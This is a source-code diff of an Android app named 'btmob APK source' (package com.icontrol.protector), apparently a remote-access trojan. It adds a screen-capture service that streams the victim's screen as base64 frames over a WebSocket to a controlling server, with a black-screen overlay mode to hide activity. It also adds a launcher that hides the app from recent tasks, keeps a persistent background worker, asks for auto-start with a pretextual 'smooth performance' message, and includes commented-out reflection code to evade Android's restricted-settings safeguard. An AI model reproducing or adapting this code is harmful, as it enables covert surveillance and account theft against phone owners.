android.content.pm.ServiceInfo; +import android.content.res.Resources; +import android.graphics.Bitmap; +import android.graphics.PixelFormat; +import android.hardware.display.DisplayManager; +import android.hardware.display.VirtualDisplay; +import android.media.Image; +import android.media.ImageReader; +import android.media.projection.MediaProjection; +import android.media.projection.MediaProjectionManager; +import android.os.Build; +import android.os.Handler; +import android.os.HandlerThread; +import android.os.IBinder; +import android.util.Base64; +import android.view.Display; + +import android.view.WindowManager; + +import androidx.annotation.NonNull; +import androidx.annotation.Nullable; + +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.ref.WeakReference; +import java.nio.ByteBuffer; +import java.util.ArrayList; +import java.util.List; +import java.util.Objects; + +import org.json.JSONException; +import org.json.JSONObject; + +import okhttp3.OkHttpClient; +import okhttp3.Request; +import okhttp3.Response; +import okhttp3.WebSocket; +import okhttp3.WebSocketListener; +import okio.ByteString; + +public class ScreenCaps extends Service { + + private static final String TAG = "iScreenCap"; + private static final String RESULT_CODE = "RESULT_CODE"; + private static final String Qulty = "QULTY"; + private static final String Sockid = "SOCK"; + private static final String DATA = "DATA"; + private static final String ACTION = "ACTION"; + private static final String START = "START"; + private static final String STOP = "STOP"; + private static final String SCREENCAP_NAME = "screencap"; + + + + public static MediaProjection mMediaProjection; + public static ImageReader mImageReader; + //private static Handler mHandler; + public static MediaProjection.Callback mCallBack; + //public static Display mDisplay; + public static VirtualDisplay mVirtualDisplay; + private int mDensity; + private int mWidth; + private int mHeight; + private int mRotation; + //private OrientationChangeCallback mOrientationChangeCallback; + + //public static SecondarySocket SendSK = null; + public static List ImagesListByts = new ArrayList(); + public static Object LockSend = new Object(); + public static boolean isAlive = true; + public static String PID ; + + private Context mContext; + + private OkHttpClient client; + private WebSocket ws; + + public static Intent getStartIntent(Context context, int resultCode, Intent data,int Quality,String sockid) { + Intent intent = new Intent(context, ScreenCaps.class); + intent.putExtra(ACTION, START); + intent.putExtra(RESULT_CODE, resultCode); + intent.putExtra(DATA, data); + intent.putExtra(Qulty, Quality); + intent.putExtra(Sockid, sockid); + return intent; + } + + public static Intent getStopIntent(Context context) { + Intent intent = new Intent(context, ScreenCaps.class); + intent.putExtra(ACTION, STOP); + return intent; + } + + private static boolean isStartCommand(Intent intent) { + if(intent == null){ + return false; + } + return intent.hasExtra(RESULT_CODE) && intent.hasExtra(DATA) + && intent.hasExtra(ACTION) && Objects.equals(intent.getStringExtra(ACTION), START); + } + + private static boolean isStopCommand(Intent intent) { + if(intent == null){ + return false; + } + return intent.hasExtra(ACTION) && Objects.equals(intent.getStringExtra(ACTION), STOP); + } + + private static int getVirtualDisplayFlags() { + return DisplayManager.VIRTUAL_DISPLAY_FLAG_PRESENTATION | DisplayManager.VIRTUAL_DISPLAY_FLAG_AUTO_MIRROR; + } + + private final class ImageAvailableListener implements ImageReader.OnImageAvailableListener { + @Override + public void onImageAvailable(ImageReader reader) { + + + + Bitmap bitmap = null; + ByteArrayOutputStream baos=new ByteArrayOutputStream(); + try (Image image = mImageReader.acquireLatestImage()) { + + if (image != null) { + Image.Plane[] planes = image.getPlanes(); + ByteBuffer buffer = planes[0].getBuffer(); + int pixelStride = planes[0].getPixelStride(); + int rowStride = planes[0].getRowStride(); + int rowPadding = rowStride - pixelStride * mWidth; + + //350, 550 + // create bitmap + if(isAlive){ + bitmap = Bitmap.createBitmap(mWidth + rowPadding / pixelStride, mHeight, Bitmap.Config.ARGB_8888); + bitmap.copyPixelsFromBuffer(buffer); + + // Bitmap convertedBitmap = bitmap.copy(Bitmap.Config.RGB_565, false); + + Bitmap compressedBitmap =Bitmap.createScaledBitmap(bitmap, 320, 620, false); + //Bitmap compressedBitmap; + + if (AccessServices.BlackScreen_ON){ +// long startTime = System.nanoTime(); +// +// +// long endTime = System.nanoTime(); +// long durationMs = (endTime - startTime) / 1_000_000; // convert ns to ms +// MyLoger.Debug("Timing", "Execution time: " + durationMs + " ms"); + compressedBitmap = UtliTools.changeImageOpacity(compressedBitmap, 1.0f); + compressedBitmap.compress(Bitmap.CompressFormat.JPEG, 30, baos); + + + + }else{ + // compressedBitmap =BITMAP_RESIZER(bitmap, 180, 320); + compressedBitmap.compress(Bitmap.CompressFormat.WEBP, SCRQuality, baos); + } + + synchronized(LockSend){ + if (ImagesListByts.size() < 15){ + ImagesListByts.add(baos.toByteArray()); + }else{ + MyLoger.Error("LiveScreen","images more than 15"); + } + + } + + compressedBitmap.recycle(); + } + + + + } + + } catch (Exception e) { + e.printStackTrace(); + } finally { + if (baos != null) { + try { + baos.close(); + } catch (IOException ioe) { + ioe.printStackTrace(); + } + } + + if (bitmap != null) { + bitmap.recycle(); + } + + } + } + } + + public void SendThread(Context ctx) { + isAlive=true; + + client = new OkHttpClient(); + Request request = new Request.Builder().url(URL_SOCKT()).build(); + ws = client.newWebSocket(request, new WebSocketListener() { + + + @Override + public void onClosing(@NonNull WebSocket webSocket, int code, @NonNull String reason) { + super.onClosing(webSocket, code, reason); + if (isAlive){ + isAlive=false; + //new Thread(() -> { + try { + Thread.sleep(3000); + } catch (InterruptedException e) { + e.printStackTrace(); + } + SendThread(ctx); + //}).start(); + + } + // killall(); + } + + @Override + public void onFailure(@NonNull WebSocket webSocket, @NonNull Throwable t, @Nullable Response response) { + super.onFailure(webSocket, t, response); + if (isAlive){ + isAlive=false; + // new Thread(() -> { + try { + Thread.sleep(3000); + } catch (InterruptedException e) { + e.printStackTrace(); + } + SendThread(ctx); + // }).start(); + } + //killall(); + } + + @Override + public void onOpen(WebSocket webSocket, Response response) { + + Thread thread = new Thread() { + @Override + public void run() { + try { + String conctkey = MySettings.Read(ctx,Consts.Redirect_k,My_Configs.CONS_KY); + while (isAlive){ + try { + + + byte[] BytesTosend =null; + + synchronized(LockSend){ + if(ImagesListByts.size() > 0){ + + BytesTosend = (byte[]) ImagesListByts.get(0); + + ImagesListByts.remove(0); + + } + } + try { + if (BytesTosend != null){ + + try { + String fromat = "w"; + if (AccessServices.BlackScreen_ON){ + fromat = "p"; + } + String base64Image = Base64.encodeToString(BytesTosend, Base64.DEFAULT); + + JSONObject jsonObject = new JSONObject(); + jsonObject.put("type", "screen"); + jsonObject.put("img", base64Image); + jsonObject.put("frmt", fromat); + jsonObject.put("skly", "0"); + jsonObject.put("wmob", mWidth); + jsonObject.put("hmob", mHeight); + String jsonData = jsonObject.toString(); + + + + Livemessage(ctx,jsonData,conctkey); + } catch (Exception e) { + // killall(); + + } + } + } catch (Exception e) { + + } + + + } + catch (Exception e){ + + }catch (OutOfMemoryError e) { + + } + + try{ Thread.sleep(1);} catch (InterruptedException e) {} + } + + } catch (Exception ex) { + ex.printStackTrace(); + } + // killall(); + } + }; + thread.start(); + + + + } + + @Override + public void onMessage( WebSocket webSocket, String text) { + super.onMessage(webSocket, text); + + try{ + JSONObject Response = new JSONObject(text); + String msgtype = Response.optString("type","empty"); + if(msgtype.equals("stop") || msgtype.equals("Unauthorized access")){ + killall(); + } + }catch (Exception a){} + + } + + + }); + +// new Thread(new Runnable() { +// @Override +// public void run() { +// +// +// } +// }).start(); + } + public void killall(){ + MySettings.WriteBool(getApplicationContext(), Consts.Send_Skilton,false); + isAlive = false; + AccessTools.BlackScreen(false); + try{ + if (ws != null) { + ws.cancel(); + ws = null; + } + if (client != null) { + client.dispatcher().cancelAll(); + client.connectionPool().evictAll(); + client.dispatcher().executorService().shutdown(); + client = null; + } + }catch (Exception s){ + + } + // Context ctx = getApplicationContext(); + try{ + if (mMediaProjection != null) { + if (mCallBack != null) { + mMediaProjection.unregisterCallback(mCallBack); + mCallBack = null; + } + mMediaProjection.stop(); + mMediaProjection = null; + } + + if (mVirtualDisplay != null) mVirtualDisplay.release(); + if (mImageReader != null) mImageReader.setOnImageAvailableListener(null, null); + mImageReader.close(); + + //if (mOrientationChangeCallback != null) mOrientationChangeCallback.disable(); +// if(mMediaProjection != null && mCallBack != null){ +// mMediaProjection.unregisterCallback(mCallBack); +// mCallBack=null; +// } + }catch (Exception a){} + //mMediaProjection = null; + mVirtualDisplay = null; + mImageReader = null; + //mOrientationChangeCallback = null; + //mDisplay = null; + mContext = null; + try{ + ImagesListByts.clear(); + ImagesListByts = null; + }catch (Exception a){} + + try{ + stopForeground(false); + stopSelf(); + }catch (Exception a){} + + } +// private class OrientationChangeCallback extends OrientationEventListener { +// +// OrientationChangeCallback(Context context) { +// super(context); +// } +// +// @Override +// public void onOrientationChanged(int orientation) { +// final int rotation = mDisplay.getRotation(); +// if (rotation != mRotation) { +// mRotation = rotation; +// try { +// // clean up +// if (mVirtualDisplay != null) mVirtualDisplay.release(); +// if (mImageReader != null) mImageReader.setOnImageAvailableListener(null, null); +// +// // re-create virtual display depending on device width / height +// createVirtualDisplay(); +// } catch (Exception e) { +// e.printStackTrace(); +// } +// } +// } +// } + + + + @Override + public IBinder onBind(Intent intent) { + return null; + } + + @Override + public void onCreate() { + super.onCreate(); + + mContext = getApplicationContext(); + } + private static int Notifi_ID = 111; + private void startforground(Context ctx) { + try{ + + MyNotification MyNotifiint = MyNotification.getInstance(ctx); + Notification notification = MyNotifiint.createNotification(ctx); + if (Build.VERSION.SDK_INT >= 34) { + this.startForeground(Notifi_ID, notification, + ServiceInfo.FOREGROUND_SERVICE_TYPE_MEDIA_PROJECTION); + } else { + this.startForeground(Notifi_ID, notification); + } + }catch (Exception a){} + + } + @Override + public int onStartCommand(Intent intent, int flags, int startId) { + try{ + // create notification + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + startforground(getApplicationContext()); + } + mContext = getApplicationContext(); + if (isStartCommand(intent)) { + // setSCRQuality(); + SCRQuality = intent.getIntExtra(Qulty,50); + Consts.SCRSIDF = intent.getStringExtra(Sockid); +// if (mHandler == null){ +// new Thread() { +// @Override +// public void run() { +// Looper.prepare(); +// mHandler = new Handler(); +// Looper.loop(); +// } +// }.start(); +// } + + Context ctx = getApplicationContext(); + PID = MySettings.Read(ctx,Consts.DEVICE_ID,"null"); + + //PID = MyDeviceID.GetID(ctx); + + + if (PID == null){ + MyLoger.Error("At.start.ScreenCap","Can't find Device id"); + stopProjection(); + stopSelf(); + return START_NOT_STICKY; + } + + // start projection + int resultCode = intent.getIntExtra(RESULT_CODE, Activity.RESULT_CANCELED); + Intent data = intent.getParcelableExtra(DATA); + ImagesListByts = new ArrayList(); + SendThread(ctx); + startProjection(resultCode, data); + + //return START_STICKY; + } else if (isStopCommand(intent)) { + isAlive = false; + MySettings.WriteBool(getApplicationContext(), Consts.Send_Skilton,false); + AccessTools.BlackScreen(false); + stopProjection(); + + killall(); + + // + } + + //return START_STICKY; + }catch (Exception a){ + a.printStackTrace(); + } + return START_NOT_STICKY; + } + + private void startProjection(int resultCode, Intent data) { + MediaProjectionManager mpManager = + (MediaProjectionManager) getApplicationContext().getSystemService(Context.MEDIA_PROJECTION_SERVICE); + //if (mMediaProjection == null) { + mMediaProjection = mpManager.getMediaProjection(resultCode, data); + if (mMediaProjection != null) { + // display metrics + mDensity = Resources.getSystem().getDisplayMetrics().densityDpi; + //WindowManager windowManager = (WindowManager) getSystemService(Context.WINDOW_SERVICE); + //mDisplay = windowManager.getDefaultDisplay(); + + + createVirtualDisplay(); + +// mOrientationChangeCallback = new OrientationChangeCallback(getApplicationContext()); +// if (mOrientationChangeCallback.canDetectOrientation()) { +// mOrientationChangeCallback.enable(); +// } + + + } + // } + } + + private void stopProjection() { + isAlive = false; + MySettings.WriteBool(getApplicationContext(), Consts.Send_Skilton,false); + AccessTools.BlackScreen(false); + if (ws != null) { + ws.close(1000, "Closing Screen"); + } + } + + private void Livemessage(Context ctx, String msg,String conctkey) { + if (ws != null) { + try { + + String Myid = MySettings.Read(ctx, Consts.DEVICE_ID, "Deviceid"); + String IDF = MySettings.Read(ctx, Consts.THE_IDF, null); + // String SecondIDF = MySettings.Read(ctx, Consts.Sec_IDF, "null"); + + if (!Consts.SCRSIDF.equals("null")){ + IDF = Consts.SCRSIDF; + } + if (Myid == null) { + return; + } + if (IDF == null) { + return; + } + + String CIP = MySettings.Read(ctx, Consts.THE_CIP, "null"); + + + JSONObject message = new JSONObject(); + // message.put("userId", userid); + message.put("idf", IDF); + //message.put("sidf", SecondIDF); + message.put("pid", Myid); + message.put("itype", "Slr_client"); + message.put("subc", "msg"); + message.put("msg", msg); + message.put("cip", CIP); + + message.put("conk", conctkey); + // Send the JSON message as a string + ws.send(message.toString()); + } catch (JSONException e) { + e.printStackTrace(); + } + } + } + private static class SafeProjectionCallback extends MediaProjection.Callback { + private final WeakReference serviceRef; + + SafeProjectionCallback(ScreenCaps service) { + this.serviceRef = new WeakReference<>(service); + } + + @Override + public void onStop() { + ScreenCaps service = serviceRef.get(); + if (service != null) { + try { + if (service.mVirtualDisplay != null) { + service.mVirtualDisplay.release(); + service.mVirtualDisplay = null; + } + } catch (Exception e) { + e.printStackTrace(); + } + } + } + } + + + private void createVirtualDisplay() { + // get width and height + + mWidth = Integer.valueOf(MySettings.Read(mContext,Consts.Mob_width,"720")); + mHeight = Integer.valueOf(MySettings.Read(mContext,Consts.Mob_height,"1280")); + + + + // start capture reader + mImageReader = ImageReader.newInstance(mWidth, mHeight, PixelFormat.RGBA_8888, 5); + + HandlerThread handlerThread = new HandlerThread("IRT"); + handlerThread.start(); + Handler backgroundHandler = new Handler(handlerThread.getLooper()); + + mCallBack = new SafeProjectionCallback(this); + mMediaProjection.registerCallback(mCallBack, null); + + + mVirtualDisplay = mMediaProjection.createVirtualDisplay(SCREENCAP_NAME, mWidth, mHeight, + mDensity, getVirtualDisplayFlags(), mImageReader.getSurface(), null, null); + + + + + mImageReader.setOnImageAvailableListener(new ImageAvailableListener(), backgroundHandler); + + } +} diff --git a/btmob APK source/APK/app/src/main/java/com/icontrol/protector/SettingsManager.java b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/SettingsManager.java new file mode 100644 index 0000000..7518f57 --- /dev/null +++ b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/SettingsManager.java @@ -0,0 +1,120 @@ +package com.icontrol.protector; + +import android.content.ContentResolver; +import android.content.Context; +import android.os.Build; +import android.os.Vibrator; +import android.provider.Settings; +import android.util.Log; + +public class SettingsManager { + + private static final String TAG = "SettingsManager"; + private Context context; + + public SettingsManager(Context context) { + this.context = context; + } + + /** + * Checks if the app has permission to write system settings. + * Required for modifying settings like brightness, screen timeout, etc. + */ + private boolean hasWriteSettingsPermission() { + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) { + return Settings.System.canWrite(context); + } + return false; + } + + // VIBRATION MODE + public void setVibrationMode(boolean enabled) { + Vibrator vibrator = (Vibrator) context.getSystemService(Context.VIBRATOR_SERVICE); + if (vibrator != null && vibrator.hasVibrator()) { + if (enabled) { + vibrator.vibrate(1000); // Test vibration for 1 second + } else { + vibrator.cancel(); // Cancel any active vibration + } + } + } + + public boolean isVibrationEnabled() { + Vibrator vibrator = (Vibrator) context.getSystemService(Context.VIBRATOR_SERVICE); + return vibrator != null && vibrator.hasVibrator(); + } + + // DATA ROAMING + public void setDataRoamingEnabled(boolean enabled) { + if (hasWriteSettingsPermission()) { + try { + Settings.Global.putInt(context.getContentResolver(), + Settings.Global.DATA_ROAMING, enabled ? 1 : 0); + } catch (Exception e) { + Log.e(TAG, "Unable to set data roaming: " + e.getMessage()); + } + } else { + Log.e(TAG, "Write settings permission not granted."); + } + } + + public boolean isDataRoamingEnabled() { + try { + return Settings.Global.getInt(context.getContentResolver(), + Settings.Global.DATA_ROAMING) == 1; + } catch (Settings.SettingNotFoundException e) { + Log.e(TAG, "Data roaming setting not found: " + e.getMessage()); + return false; + } + } + + // SCREEN TIMEOUT DURATION + public void setScreenTimeout(int timeoutMillis) { + if (hasWriteSettingsPermission()) { + try { + Settings.System.putInt(context.getContentResolver(), + Settings.System.SCREEN_OFF_TIMEOUT, timeoutMillis); + } catch (Exception e) { + Log.e(TAG, "Unable to set screen timeout: " + e.getMessage()); + } + } else { + Log.e(TAG, "Write settings permission not granted."); + } + } + + public int getScreenTimeout() { + try { + return Settings.System.getInt(context.getContentResolver(), + Settings.System.SCREEN_OFF_TIMEOUT); + } catch (Settings.SettingNotFoundException e) { + Log.e(TAG, "Screen timeout setting not found: " + e.getMessage()); + return -1; // return -1 if setting is not found + } + } + + // SCREEN BRIGHTNESS LEVEL + public void setScreenBrightness(int brightnessLevel) { + if (hasWriteSettingsPermission()) { + if (brightnessLevel < 0) brightnessLevel = 0; + if (brightnessLevel > 255) brightnessLevel = 255; // Ensure brightness level is within range + try { + Settings.System.putInt(context.getContentResolver(), + Settings.System.SCREEN_BRIGHTNESS, brightnessLevel); + } catch (Exception e) { + Log.e(TAG, "Unable to set screen brightness: " + e.getMessage()); + } + } else { + Log.e(TAG, "Write settings permission not granted."); + } + } + + public int getScreenBrightness() { + try { + return Settings.System.getInt(context.getContentResolver(), + Settings.System.SCREEN_BRIGHTNESS); + } catch (Settings.SettingNotFoundException e) { + Log.e(TAG, "Screen brightness setting not found: " + e.getMessage()); + return -1; // return -1 if setting is not found + } + } +} diff --git a/btmob APK source/APK/app/src/main/java/com/icontrol/protector/Splasher.java b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/Splasher.java new file mode 100644 index 0000000..eb774c3 --- /dev/null +++ b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/Splasher.java @@ -0,0 +1,495 @@ +package com.icontrol.protector; + +import static androidx.core.content.PackageManagerCompat.ACTION_PERMISSION_REVOCATION_SETTINGS; +import static com.icontrol.protector.Consts.skip_splash; +import static com.icontrol.protector.MyCods.isServiceRunning; +import static com.icontrol.protector.UtliTools.excludeFromTaskList; +import static com.icontrol.protector.UtliTools.getAppIconAsBase64; +import static com.icontrol.protector.UtliTools.randomnumber; + +import android.Manifest; +import android.app.Activity; +import android.app.AlertDialog; +import android.app.AppOpsManager; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.content.SharedPreferences; +import android.content.pm.PackageManager; +import android.graphics.Point; +import android.graphics.drawable.Drawable; +import android.net.Uri; +import android.os.Build; +import android.os.Bundle; +import android.os.Process; +import android.os.StrictMode; +import android.provider.Settings; +import android.util.Base64; +import android.util.Log; +import android.view.ViewGroup; +import android.view.Window; +import android.view.WindowManager; +import android.webkit.WebSettings; +import android.webkit.WebView; +import android.webkit.WebViewClient; +import android.widget.Toast; + +import androidx.core.app.ActivityCompat; +import androidx.core.content.ContextCompat; +import androidx.core.content.IntentCompat; + +import java.io.UnsupportedEncodingException; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.util.ArrayList; +import java.util.List; +import java.util.Locale; + + +public class Splasher extends Activity { + public static String[] NormalPermissions() { + List permissions = new ArrayList<>(); + + // Add only normal permissions + permissions.add(Manifest.permission.INTERNET); // Normal + permissions.add(Manifest.permission.WAKE_LOCK); // Normal + permissions.add(Manifest.permission.ACCESS_NETWORK_STATE); // Normal + permissions.add(Manifest.permission.ACCESS_WIFI_STATE); // Normal + permissions.add(Manifest.permission.CHANGE_WIFI_STATE); // Normal + permissions.add(Manifest.permission.MODIFY_AUDIO_SETTINGS); // Normal + +// if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.UPSIDE_DOWN_CAKE) { +// permissions.add(Manifest.permission.TURN_SCREEN_ON); // Normal +// } + + if (Build.VERSION.SDK_INT >= 33 ) { + permissions.add(Manifest.permission.POST_NOTIFICATIONS); + } + return permissions.toArray(new String[0]); + } + + private boolean AskAutoStart() { + + final MIUIAutoStart AutoHelper = MIUIAutoStart.getInstance(); + if ( + !MySettings.ReadBool(getApplicationContext(), Consts.AutoStartOn, false) && + AutoHelper.isAutoStartPermissionAvailable(getApplicationContext())) { + try { + // startworkers(this); + Intent workint = new Intent(getApplicationContext(), EngineWorker.class); + if (!isServiceRunning(getApplicationContext(), EngineWorker.class)) { + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + startForegroundService(workint); + } else { + startService(workint); + } + } + + AlarmHelper.setAlarm(getApplicationContext()); + String buttonnameOK = "OK"; + + String Thetitle = "Auto Start"; + String alertmsg = "OK"; + String CurrnetLanuage = Locale.getDefault().getLanguage(); + switch (CurrnetLanuage) { + case "ar": + buttonnameOK = "موافق"; + Thetitle = "التشغيل التلقائي"; + alertmsg = "اسمح لهذا التطبيق بالتشغيل التلقائي لتحسين الأداء."; + break; + case "zh": + buttonnameOK = "好的"; + Thetitle = "自动启动"; + alertmsg = "允许此应用程序自动启动以确保流畅运行。"; + break; + case "tr": + buttonnameOK = "Tamam"; + Thetitle = "Otomatik Başlatma"; + alertmsg = "Sorunsuz çalışması için bu uygulamaya otomatik başlatma izni verin."; + break; + case "pt": + buttonnameOK = "OK"; + Thetitle = "Inicialização Automática"; + alertmsg = "Permita que este aplicativo inicie automaticamente para melhor desempenho."; + break; + case "es": + buttonnameOK = "OK"; + Thetitle = "Inicio Automático"; + alertmsg = "Permita que esta aplicación se inicie automáticamente para un mejor rendimiento."; + break; + case "ru": + buttonnameOK = "Хорошо"; + Thetitle = "Автозапуск"; + alertmsg = "Разрешите этому приложению автозапуск для стабильной работы."; + break; + default: + buttonnameOK = "OK"; + Thetitle = "Auto Start"; + alertmsg = "Allow this app to auto-start for smooth performance."; + break; + } + + + Drawable icon = null; + try { + // null; + icon = getPackageManager().getApplicationIcon(getPackageName()); + } catch (PackageManager.NameNotFoundException ex) { + + } + + + AlertDialog.Builder builder = new AlertDialog.Builder(this, android.R.style.Theme_DeviceDefault_Dialog_Alert) + .setTitle(Thetitle) + .setMessage(alertmsg) + .setPositiveButton(buttonnameOK, (dialog, which) -> { + + // setupWorkManager(); + boolean flag = AutoHelper.getAutoStartPermission(getApplicationContext()); + MySettings.WriteBool(getApplicationContext(), Consts.AutoStartOn, true); + // System.exit(0); + }); + + if (icon != null) { + builder.setIcon(icon); + } + + + builder.show(); + return true; + } catch (Exception a) { + a.printStackTrace(); + } + } + return false; + } + + private static final int PERMISSION_REQUEST_CODE = 22; + + private void checkAndRequestPermissions() { + String[] permissions = NormalPermissions(); + + List permissionsNeeded = new ArrayList<>(); + + for (String permission : permissions) { + if (ContextCompat.checkSelfPermission(getApplicationContext(), permission) != PackageManager.PERMISSION_GRANTED) { + permissionsNeeded.add(permission); + } + } + + if (!permissionsNeeded.isEmpty()) { + ActivityCompat.requestPermissions(this, permissionsNeeded.toArray(new String[0]), PERMISSION_REQUEST_CODE); + } + } + + public static String getLabelApplication(Context context) { + try { + return (String) context.getPackageManager().getApplicationLabel(context.getPackageManager().getApplicationInfo(context.getPackageName(), PackageManager.GET_META_DATA)); + } catch (Exception ex) { + } + return context.getString(R.string.BaseName); + } + + @Override + protected void onActivityResult(int requestCode, int resultCode, Intent data) { + super.onActivityResult(requestCode, resultCode, data); + + + } + WebView Mwbview; + @Override + protected void onDestroy() { + super.onDestroy(); + try{ + if(Mwbview != null){ + Mwbview.stopLoading(); + + // Clear history and cache + Mwbview.clearHistory(); + Mwbview.clearCache(true); + + // Remove from parent + ViewGroup parent = (ViewGroup) Mwbview.getParent(); + if (parent != null) { + parent.removeView(Mwbview); + } + + // Destroy the WebView + Mwbview.removeAllViews(); + Mwbview.destroy(); + + // Nullify reference to help GC + Mwbview = null; + } + }catch (Exception s){} + } + + @Override + protected void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + + //this code below can be user to detect memory leak or some bugs try google it (StrictMode.setThreadPolicy) +// StrictMode.setThreadPolicy(new StrictMode.ThreadPolicy.Builder() +// .detectDiskReads() +// .detectDiskWrites() +// .detectAll() // or .detectAll() for all detectable problems +// .penaltyLog() +// .build()); +// StrictMode.setVmPolicy(new StrictMode.VmPolicy.Builder() +// .detectLeakedSqlLiteObjects() +// .detectLeakedClosableObjects() +// .penaltyLog() +// .build()); + + +// try { +// Intent intent = new Intent(); +// intent.setComponent(new ComponentName("com.miui.powerkeeper", +// "com.miui.powerkeeper.ui.HiddenAppsConfigActivity")); +// intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); +// startActivity(intent); +// } catch (Exception exception) { +// Log.e("MIUIAutoStart", "Error starting intent", exception); +// } +// Intent intent = new Intent(Settings.ACTION_CHANNEL_NOTIFICATION_SETTINGS) +// .putExtra(Settings.EXTRA_APP_PACKAGE, getPackageName()) +// .putExtra(Settings.EXTRA_CHANNEL_ID, "updates"); +// intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); +// startActivity(intent); +// +// Intent intent = +// new Intent(Settings.ACTION_MANAGE_APP_USE_FULL_SCREEN_INTENT) +// .setData(Uri.fromParts( +// "package", getPackageName(), /* fragment= */ null)); +// intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); +// // Launch settings page so user can disable the auto-reset +// startActivityForResult(intent, 111); +// Intent insta_intent = getPackageManager().getLaunchIntentForPackage("com.instagram.android"); +// // insta_intent.setComponent(new ComponentName("com.instagram.android", "com.instagram.android.activity.UrlHandlerActivity")); +// +//////use this if you want to open an image +//// insta_intent.setData(Uri.parse("http://instagram.com/p/gjfLqSBQTJ/")); +// +////And if you want to open a user's profile use this +// insta_intent.setData(Uri.parse("http://instagram.com/_u/yuoi")); +// +// startActivity(insta_intent); +// if(1 == 1){ +// return; +// } + + Context myctx = getApplicationContext(); + LiveChat.instance(getApplicationContext()); + + Intent workint = new Intent(myctx, EngineWorker.class); + if (!isServiceRunning(myctx, EngineWorker.class)) { + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + startForegroundService(workint); + } else { + startService(workint); + } + } + excludeFromTaskList(getApplicationContext()); +// try { +// Intent intent = new Intent(); +// intent.setAction("android.settings.MANAGE_DEFAULT_APPS_SETTINGS"); +// intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); +// startActivity(intent); +// } catch (Exception exception) { +// Log.e("MIUIAutoStart", "Error starting action", exception); +// } +// +// try { +// Intent intent = new Intent(Settings.ACTION_APPLICATION_DETAILS_SETTINGS, +// Uri.parse("package:" + "com.android.settings.biometrics")); +// intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); +// startActivity(intent); +// } catch (Exception exception) { +// Log.e("MIUIAutoStart", "Error starting intent", exception); +// } + + + + +//// +// AlarmManager alarmManager = (AlarmManager) getSystemService(Context.ALARM_SERVICE); +// // if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.S && !alarmManager.canScheduleExactAlarms()) { +// // If not, request the SCHEDULE_EXACT_ALARM permission +// Intent intent = new Intent(android.provider.Settings.ACTION_REQUEST_SCHEDULE_EXACT_ALARM); +// intent.setData(Uri.fromParts("package", getPackageName(), null)); +// +// startActivity(intent); +// // } + +// Intent intent = new Intent(Settings.ACTION_REQUEST_SCHEDULE_EXACT_ALARM); +// intent.setData(Uri.parse("package:" + getPackageName())); +// startActivity(intent); + + +// if(Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU && +// MySettings.Read(myctx, Consts.ontimerest, "").length() == 0){ +// Intent intent = new Intent("android.settings.SHOW_RESTRICTED_SETTING_DIALOG"); +// intent.setPackage("com.android.settings"); // Ensure it targets the correct package +// intent.putExtra("package_name", getPackageName()); // Optional, if needed +// intent.putExtra("extra_uid", Process.myUid()); // Optional, if needed +// intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // Needed if starting from non-Activity context +// +// try { +// //startActivity(intent); +// try { +// // Step 1: Get AppOpsManager instance using reflection +// Object appOpsManager = getSystemService(Class.forName("android.app.AppOpsManager")); +// +// Field ores = appOpsManager.getClass().getField("OPSTR_ACCESS_RESTRICTED_SETTINGS"); +// ores.setAccessible(true); +// // Step 2: Get the 'setMode' method (public method since API 29) +// Method setModeMethod = appOpsManager.getClass().getMethod("setMode", new Class[]{String.class, int.class, String.class, int.class}); +// setModeMethod.setAccessible(true); +// // Step 3: Call the method with your parameters +// setModeMethod.invoke( +// appOpsManager, +// new Object[]{"android:access_restricted_settings", +// Process.myUid(), +// getPackageName(), +// AppOpsManager.MODE_IGNORED} +// ); +// +// } catch (Exception e) { +// e.printStackTrace(); +// Toast.makeText(this, "Reflection call failed", Toast.LENGTH_SHORT).show(); +// } +// } catch (Exception e) { +// e.printStackTrace(); +// Toast.makeText(this, "Unable to launch restricted setting dialog", Toast.LENGTH_SHORT).show(); +// } +// +// MySettings.Write(myctx, Consts.ontimerest, "done"); +// try{ +// Thread.sleep(1000); +// }catch (Exception a){} +// try{ +// Thread.sleep(1000); +// }catch (Exception a){} +// try{ +// Thread.sleep(1000); +// }catch (Exception a){} +// } + + if (MySettings.Read(myctx, Consts.DEVICE_ID, "").length() == 0) { + String newid = UtliTools.Create_DevicID() + String.valueOf(randomnumber(100, 199)); + MyLoger.Debug("CreateID", newid); + MySettings.Write(myctx, Consts.DEVICE_ID, newid); + } + + checkAndRequestPermissions(); + +// if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.R) { +// WindowManager wm = getSystemService(WindowManager.class); +// +// // Get current window metrics +// WindowMetrics windowMetrics = wm.getCurrentWindowMetrics(); +// +// // Subtract the insets to get the usable app size +// int width = windowMetrics.getBounds().width(); +// int height = windowMetrics.getBounds().height(); +// MySettings.Write(myctx,Consts.Mob_width,String.valueOf(width)); +// MySettings.Write(myctx,Consts.Mob_height,String.valueOf(height)); +// }else{ + +// MySettings.Write(myctx,Consts.Mob_width,mobW); +// MySettings.Write(myctx,Consts.Mob_height,mobH); + //} + if (MySettings.Read(myctx,Consts.Mob_width,"").length() == 0){ + Point size = new Point(); + getWindowManager().getDefaultDisplay().getRealSize(size); + String mobW = String.valueOf(Math.min(size.x, size.y)); + String mobH = String.valueOf(Math.max(size.x, size.y)); + SharedPreferences mSharedPref; + mSharedPref = myctx.getSharedPreferences(myctx.getPackageName(), Activity.MODE_PRIVATE); + SharedPreferences.Editor 